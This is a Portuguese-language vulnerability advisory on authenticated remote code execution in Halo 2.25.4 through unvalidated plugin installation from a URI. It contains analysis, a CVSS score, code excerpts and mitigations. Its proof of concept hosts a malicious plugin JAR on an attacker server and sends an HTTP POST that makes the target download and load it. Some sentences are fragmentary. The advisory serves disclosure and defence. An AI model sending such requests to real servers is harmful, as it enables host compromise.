
Demonstra uma vulnerabilidade de execução remota de código autenticada no Halo 2.25.4 por meio da instalação de URI de plugin não validada, incluindo análise técnica e exploit de prova de conceito.
Uma vulnerabilidade de segurança crítica foi identificada na versão 2.25.4 do Halo. A aplicação fornece um endpoint administrativo para instalar ou atualizar plugins a partir de uma URI remota. No entanto, o sistema não valida o domínio de origem da URI e não possui proteções contra Server-Side Request Forgery (SSRF) neste componente específico. Um atacante autenticado com privilégios de gerenciamento de plugins pode fornecer um link para um arquivo JAR de plugin criado de forma maliciosa. O servidor fará o download, armazenará temporariamente e carregará dinamicamente o arquivo JAR no contexto da JVM usando o framework PF4J e o DefaultPluginApplicationContextFactory do Spring. Isso permite a execução de classes de extensão não confiáveis, resultando em Execução Remota de Código (RCE) arbitrária no sistema operacional do host subjacente.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)Separe com vírgulas ao enviar para o formulário CVE:
Plaintext
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
Um administrador autenticado pode enviar uma solicitação HTTP POST criada contendo uma URL maliciosa de plugin JAR remoto para o endpoint /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.
A execução remota de código ocorre através da seguinte sequência de operações:
PluginEndpoint.installFromUri() processa o corpo da solicitação recebida (InstallFromUriRequest) e extrai a string uri fornecida pelo usuário. Nenhum filtro de lista de permissões de domínio é aplicado.DefaultReactiveUrlDataBufferFetcher.fetch(uri). Diferente de outros componentes de rede internos do Halo, este fetcher não invoca HttpSecurityUtils.secureHttpClient(), ignorando as restrições de IP de rede privada interna/loopback (proteção SSRF).writeToTempFile(content).pluginService.install(path), que utiliza o JarPluginLoader do PF4J para descompactar e carregar o arquivo JAR.DefaultPluginApplicationContextFactory do Spring analisa automaticamente os metadados dentro do plugin.yaml do plugin e registra todas as classes de extensão declaradas no contexto da aplicação como Beans Ativos do Spring.static {}) ou blocos de método anotados com @PostConstruct será executado imediatamente durante a criação da instância via Runtime.getRuntime().exec().PluginEndpoint.java linhas 422-428):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // Busca de rede não validada
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
O atacante compila um arquivo JAR de plugin PF4J/Halo padrão (poc-plugin.jar) contendo uma classe de extensão com um mecanismo de execução de payload dentro de um hook de ciclo de vida @PostConstruct ou bloco estático. O atacante o hospeda em um listener externo:
Bash
python3 -m http.server 9999
O usuário administrativo autenticado envia a seguinte solicitação HTTP para o servidor Halo alvo:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
O servidor processa a instalação, busca o artefato do servidor do atacante, registra a extensão e executa o comando do sistema compilado, comprometendo o host alvo.


application.yaml) e arquivos armazenados.uri recebido. Restringir esquemas de instalação remota a marketplaces oficiais do ecossistema verificados e confiáveis (por exemplo, https://awesome.halo.run).DefaultReactiveUrlDataBufferFetcher para utilizar o utilitário existente HttpSecurityUtils.secureHttpClient() para descartar solicitações que apontem para loopback (127.0.0.1), link-local (169.254.169.254) ou redes de classe privada (10.0.0.0/8, 192.168.0.0/16).JarPluginLoader deve validar hashes de arquivo ou assinaturas criptográficas contra chaves públicas fornecidas pelo repositório oficial antes de passá-los ao DefaultPluginApplicationContextFactory para instanciação do contexto.